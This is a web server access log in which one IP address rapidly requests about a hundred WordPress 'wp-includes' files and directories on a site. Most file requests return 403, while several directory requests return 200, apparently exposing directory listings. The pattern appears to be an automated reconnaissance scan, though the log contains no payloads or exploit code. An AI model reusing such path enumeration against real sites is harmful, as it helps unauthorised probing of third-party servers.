45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 904 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/build/ HTTP/1.1" 200 1285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:05 -0400] "GET /bfl.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/assets/ HTTP/1.1" 200 878 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/Text/ HTTP/1.1" 200 866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
